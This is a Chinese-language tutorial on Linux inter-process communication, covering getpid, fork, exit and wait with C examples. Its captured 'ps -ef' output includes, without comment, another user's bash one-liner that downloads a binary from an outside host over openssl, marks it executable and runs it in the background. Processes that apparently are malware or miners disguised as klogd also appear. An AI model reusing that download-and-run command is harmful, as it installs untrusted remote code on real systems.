进程间通信 - 快速指南
进程间通信 - 概述
进程间通信 (IPC) 是一种涉及一个进程与另一个进程通信的机制。这通常只发生在一个系统中。
通信可以分为两种类型:
在相关进程之间,仅由一个进程发起,例如父进程和子进程。
在不相关进程之间,或两个或多个不同的进程之间。
在继续学习本主题之前,我们需要了解一些重要的术语。
管道 - 两个相关进程之间的通信。该机制是半双工的,这意味着第一个进程与第二个进程通信。要实现全双工,即第二个进程与第一个进程通信,需要另一个管道。
FIFO - 两个不相关进程之间的通信。FIFO 是全双工的,这意味着第一个进程可以与第二个进程通信,反之亦然,并且同时进行。
消息队列 - 两个或多个具有全双工能力的进程之间的通信。进程将通过发布消息并从队列中检索消息来相互通信。一旦检索,消息将不再在队列中可用。
共享内存 - 两个或多个进程之间的通信是通过所有进程之间共享的一块内存来实现的。共享内存需要通过同步对所有进程的访问来相互保护。
信号量 - 信号量用于同步对多个进程的访问。当一个进程想要访问内存(读取或写入)时,它需要被锁定(或保护),并在访问移除时释放。所有进程都需要重复此操作以确保数据安全。
信号 - 信号是一种通过信号方式在多个进程之间通信的机制。这意味着源进程将发送一个信号(由数字识别),目标进程将相应地处理它。
注意 - 本教程中几乎所有程序都基于 Linux 操作系统下的系统调用(在 Ubuntu 中执行)。
进程信息
在我们深入了解进程信息之前,我们需要了解一些事情,例如:
什么是进程?进程是正在执行的程序。
什么是程序?程序是一个文件,其中包含进程的信息以及如何在运行时构建它。当您开始执行程序时,它会被加载到 RAM 中并开始执行。
每个进程都由一个唯一的正整数标识,称为进程 ID 或简称 PID(进程标识号)。内核通常将进程 ID 限制为 32767,这是可配置的。当进程 ID 达到此限制时,它将重置,这在系统进程范围之后。然后,从该计数器中未使用的进程 ID 将分配给新创建的进程。
系统调用 getpid() 返回调用进程的进程 ID。
#include <sys/types.h> #include <unistd.h> pid_t getpid(void);
此调用返回调用进程的进程 ID,该 ID 保证是唯一的。此调用始终成功,因此没有返回值来指示错误。
每个进程都有其唯一的 ID,称为进程 ID,这很好,但谁创建了它?如何获取有关其创建者的信息?创建者进程称为父进程。父 ID 或 PPID 可以通过 getppid() 调用获得。
系统调用 getppid() 返回调用进程的父 PID。
#include <sys/types.h> #include <unistd.h> pid_t getppid(void);
此调用返回调用进程的父进程 ID。此调用始终成功,因此没有返回值来指示错误。
让我们用一个简单的例子来理解这一点。
以下是一个程序,用于了解调用进程的 PID 和 PPID。
File name: processinfo.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { int mypid, myppid; printf("Program to know PID and PPID's information\n"); mypid = getpid(); myppid = getppid(); printf("My process ID is %d\n", mypid); printf("My parent process ID is %d\n", myppid); printf("Cross verification of pid's by executing process commands on shell\n"); system("ps -ef"); return 0; }
在编译和执行上述程序后,输出将如下所示。
UID PID PPID C STIME TTY TIME CMD root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld --basedir = /usr --datadir = /var/lib/mysql --plugin-dir = /usr/lib64/mysql/plugin --user = mysql --log-error = /var/log/mariadb/mariadb.log --pid-file = /run/mariadb/mariadb.pid --socket = /var/lib/mysql/mysql.sock 2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() { flag = "false" hsize = 1 echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" | openssl s_client -timeout -quiet -verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]] then hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]] then flag = "true" fi echo $hsize > size done tail -c +$(cat size) out > $2 rm size out } ( download my.mixtape.moe mhawum 2> /dev/null chmod +x mhawum 2> /dev/null ./mhawum > /dev/null 2> /dev/null )& 2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum 6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874; timeout 10s javac Puppy.java 6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java 6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java 3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205; timeout 10s main 3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main 3787205 104176 104175 0 05:25 ? 00:00:00 main 3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef Program to know PID and PPID's information My process ID is 104176 My parent process ID is 104175 Cross verification of pid's by executing process commands on shell
注意 - “C” 库函数 system() 执行 shell 命令。传递给 system() 的参数是在 shell 上执行的命令。在上述程序中,命令是“ps”,它提供进程状态。
有关所有正在运行的进程和其他系统相关信息的完整信息可从 /proc 位置提供的 proc 文件系统访问。
进程映像
现在我们已经了解了如何获取进程及其父进程的基本信息,现在是时候深入了解进程/程序信息的详细信息了。
进程映像到底是什么?进程映像是执行程序时所需的执行文件。此映像通常包含以下部分:
- 代码段或文本段
- 数据段
- 栈段
- 堆段
以下是进程映像的图形表示。
代码段是目标文件或程序虚拟地址空间的一部分,包含可执行指令。这通常是只读数据段,并且具有固定大小。
数据段有两种类型。
- 已初始化
- 未初始化
已初始化数据段是目标文件或程序虚拟地址空间的一部分,包含已初始化的静态和全局变量。
未初始化数据段是目标文件或程序虚拟地址空间的一部分,包含未初始化的静态和全局变量。未初始化数据段也称为 BSS(以符号开头块)段。
数据段是读写的,因为变量的值可以在运行时更改。此段也具有固定大小。
栈段是为自动变量和函数参数分配的内存区域。它还在执行函数调用时存储返回地址。栈使用 LIFO(后进先出)机制来存储局部或自动变量、函数参数和存储下一个地址或返回地址。返回地址是指函数执行完成后返回的地址。此段大小根据局部变量、函数参数和函数调用而变化。此段从较高地址增长到较低地址。
堆段是为动态内存存储分配的内存区域,例如用于 malloc() 和 calloc() 调用。此段大小也根据用户分配而变化。此段从较低地址增长到较高地址。
现在让我们检查一下段(数据和 bss 段)的大小如何随一些示例程序而变化。段大小可以通过执行命令“size”来得知。
初始程序
文件:segment_size1.c
#include<stdio.h> int main() { printf("Hello World\n"); return 0; }
在以下程序中,添加了一个未初始化的静态变量。这意味着未初始化段 (BSS) 大小将增加 4 个字节。注意 - 在 Linux 操作系统中,int 的大小为 4 个字节。整数数据类型的尺寸取决于编译器和操作系统的支持。
文件:segment_size2.c
#include<stdio.h> int main() { static int mystaticint1; printf("Hello World\n"); return 0; }
在以下程序中,添加了一个已初始化的静态变量。这意味着已初始化段 (DATA) 大小将增加 4 个字节。
文件:segment_size3.c
#include<stdio.h> int main() { static int mystaticint1; static int mystaticint2 = 100; printf("Hello World\n"); return 0; }
在以下程序中,添加了一个已初始化的全局变量。这意味着已初始化段 (DATA) 大小将增加 4 个字节。
文件:segment_size4.c
#include<stdio.h> int myglobalint1 = 500; int main() { static int mystaticint1; static int mystaticint2 = 100; printf("Hello World\n"); return 0; }
在以下程序中,添加了一个未初始化的全局变量。这意味着未初始化段 (BSS) 大小将增加 4 个字节。
文件:segment_size5.c
#include<stdio.h> int myglobalint1 = 500; int myglobalint2; int main() { static int mystaticint1; static int mystaticint2 = 100; printf("Hello World\n"); return 0; }
执行步骤
编译
babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
执行/输出
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5 text data bss dec hex filename 878 252 8 1138 472 segment_size1 878 252 12 1142 476 segment_size2 878 256 12 1146 47a segment_size3 878 260 12 1150 47e segment_size4 878 260 16 1154 482 segment_size5 babukrishnam
进程创建与终止
到目前为止,我们知道每当我们执行一个程序时,就会创建一个进程,并在执行完成后终止。如果我们需要在程序中创建进程,并且可能希望为它安排不同的任务呢?这可以实现吗?是的,当然可以通过进程创建来实现。当然,在工作完成后,它将自动终止,或者您可以根据需要终止它。
进程创建是通过fork() 系统调用实现的。新创建的进程称为子进程,而启动它的进程(或开始执行时的进程)称为父进程。在 fork() 系统调用之后,现在我们有两个进程 - 父进程和子进程。如何区分它们?很简单,通过它们的返回值。
在创建子进程后,让我们看看 fork() 系统调用的详细信息。
#include <sys/types.h> #include <unistd.h> pid_t fork(void);
创建子进程。在此调用之后,存在两个进程,现有的进程称为父进程,新创建的进程称为子进程。
fork() 系统调用返回以下三个值中的一个:
负值表示错误,即创建子进程失败。
对于子进程返回零。
对于父进程返回正值。此值是新创建的子进程的进程 ID。
让我们考虑一个简单的程序。
File name: basicfork.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main() { fork(); printf("Called fork() system call\n"); return 0; }
执行步骤
编译
gcc basicfork.c -o basicfork
执行/输出
Called fork() system call Called fork() system call
注意 - 通常在 fork() 调用之后,子进程和父进程将执行不同的任务。如果需要运行相同的任务,那么对于每个 fork() 调用,它将运行 2 的 n 次方倍,其中n 是调用 fork() 的次数。
在上述情况下,fork() 被调用了一次,因此输出打印了两次(2 的 1 次方)。如果 fork() 被调用,例如 3 次,则输出将打印 8 次(2 的 3 次方)。如果它被调用 5 次,则它打印 32 次,依此类推。
在了解了 fork() 如何创建子进程后,现在是时候了解父进程和子进程的详细信息了。
文件名:pids_after_fork.c
#include <stdio.h> #include <sys/types.h> #include <unistd.h> int main() { pid_t pid, mypid, myppid; pid = getpid(); printf("Before fork: Process id is %d\n", pid); pid = fork(); if (pid < 0) { perror("fork() failure\n"); return 1; } // Child process if (pid == 0) { printf("This is child process\n"); mypid = getpid(); myppid = getppid(); printf("Process id is %d and PPID is %d\n", mypid, myppid); } else { // Parent process sleep(2); printf("This is parent process\n"); mypid = getpid(); myppid = getppid(); printf("Process id is %d and PPID is %d\n", mypid, myppid); printf("Newly created process id or child pid is %d\n", pid); } return 0; }
编译和执行步骤
Before fork: Process id is 166629 This is child process Process id is 166630 and PPID is 166629 Before fork: Process id is 166629 This is parent process Process id is 166629 and PPID is 166628 Newly created process id or child pid is 166630
进程可以通过以下两种方式之一终止:
异常,发生在传递某些信号时,例如终止信号。
正常,使用 _exit() 系统调用(或 _Exit() 系统调用)或 exit() 库函数。
_exit() 和 exit() 之间的区别主要是清理活动。exit() 在将控制权返回给内核之前执行一些清理操作,而_exit()(或 _Exit())将立即将控制权返回给内核。
考虑以下使用 exit() 的示例程序。
文件名:atexit_sample.c
#include <stdio.h> #include <stdlib.h> void exitfunc() { printf("Called cleanup function - exitfunc()\n"); return; } int main() { atexit(exitfunc); printf("Hello, World!\n"); exit (0); }
编译和执行步骤
Hello, World! Called cleanup function - exitfunc()
考虑以下使用 _exit() 的示例程序。
文件名:at_exit_sample.c
#include <stdio.h> #include <unistd.h> void exitfunc() { printf("Called cleanup function - exitfunc()\n"); return; } int main() { atexit(exitfunc); printf("Hello, World!\n"); _exit (0); }
编译和执行步骤
Hello, World!
子进程监控
正如我们所看到的,每当我们使用 fork 创建一个子进程时,会发生以下情况:
- 当前进程现在成为父进程
- 新进程成为子进程
如果父进程比子进程先完成其任务并退出会发生什么?现在谁将成为子进程的父进程?子进程的父进程是 init 进程,它是启动所有任务的第一个进程。
为了监控子进程的执行状态,检查子进程是否正在运行或已停止,或者检查执行状态等,可以使用wait()系统调用及其变体。
让我们考虑一个示例程序,其中父进程不等待子进程,这会导致init进程成为子进程的新父进程。
文件名:parentprocess_nowait.c
#include<stdio.h> int main() { int pid; pid = fork(); // Child process if (pid == 0) { system("ps -ef"); sleep(10); system("ps -ef"); } else { sleep(3); } return 0; }
编译和执行步骤
UID PID PPID C STIME TTY TIME CMD root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock 3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x 3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x 6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x 7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x 7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x 3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct> 7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x 3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x 5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 8023807 163891 0 0 05:41 ? 00:00:00 main 8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main 8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main 8023807 164137 164136 0 05:41 ? 00:00:00 main 8023807 164138 164137 0 05:41 ? 00:00:00 main 8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock 3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x 3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x 6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x 7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x 7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x 3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct> 7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x 3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x 5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 8023807 164138 0 0 05:41 ? 00:00:00 main 8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
注意 - 请注意,父进程PID为94,子进程PID为95。父进程退出后,子进程的PPID从94更改为1(init进程)。
以下是监控子进程的系统调用的变体 -
- wait()
- waitpid()
- waitid()
wait()系统调用将等待其中一个子进程终止,并在缓冲区中返回其终止状态,如下所述。
#include <sys/types.h> #include <sys/wait.h> pid_t wait(int *status);
此调用在成功时返回终止子进程的进程ID,在失败时返回-1。wait()系统调用挂起当前进程的执行,并无限期地等待,直到其子进程之一终止。来自子进程的终止状态可在status中获得。
让我们修改之前的程序,以便父进程现在等待子进程。
/* 文件名:parentprocess_waits.c */
#include<stdio.h> int main() { int pid; int status; pid = fork(); // Child process if (pid == 0) { system("ps -ef"); sleep(10); system("ps -ef"); return 3; //exit status is 3 from child process } else { sleep(3); wait(&status); printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status); } return 0; }
编译和执行步骤
UID PID PPID C STIME TTY TIME CMD root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock 3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x 4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x 3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct> 4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x 6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x 7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct> 4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct> 7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x 7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x 3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct> 5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct> 7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x 3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x 7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x 4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct> 5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x 5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct> 4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct> 8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main 8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main 8023807 191769 191768 0 05:47 ? 00:00:00 main 8023807 191770 191769 0 05:47 ? 00:00:00 main 8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main 8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main 8023807 192200 192199 0 05:47 ? 00:00:00 main 8023807 192201 192200 0 05:47 ? 00:00:00 main 8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
注意 - 即使子进程返回退出状态3,为什么父进程将其视为768。状态存储在高位字节中,因此以十六进制格式存储为0X0300,在十进制中为768。正常终止如下
高位字节(位8到15) | 低位字节(位0到7) |
退出状态(0到255) | 0 |
wait()系统调用有一些限制,例如它只能等到下一个子进程退出。如果我们需要等待特定的子进程,则无法使用wait(),但是,可以使用waitpid()系统调用。
waitpid()系统调用将等待指定的子进程终止,并在缓冲区中返回其终止状态,如下所述。
#include <sys/types.h> #include <sys/wait.h> pid_t waitpid(pid_t pid, int *status, int options);
上述调用在成功时返回终止子进程的进程ID,在失败时返回-1。waitpid()系统调用挂起当前进程的执行,并无限期地等待,直到指定的子进程(根据pid值)终止。来自子进程的终止状态可在status中获得。
pid的值可以是以下之一 -
< -1 - 等待任何进程组ID等于pid的绝对值的子进程。
-1 - 等待任何子进程,这等于wait()系统调用。
0 - 等待任何进程组ID等于调用进程的进程组ID的子进程。
>0 - 等待任何进程ID等于pid值的子进程。
默认情况下,waitpid()系统调用仅等待已终止的子进程,但可以使用options参数修改此默认行为。
现在让我们考虑一个程序作为示例,等待具有其进程ID的特定进程。
/* 文件名:waitpid_test.c */
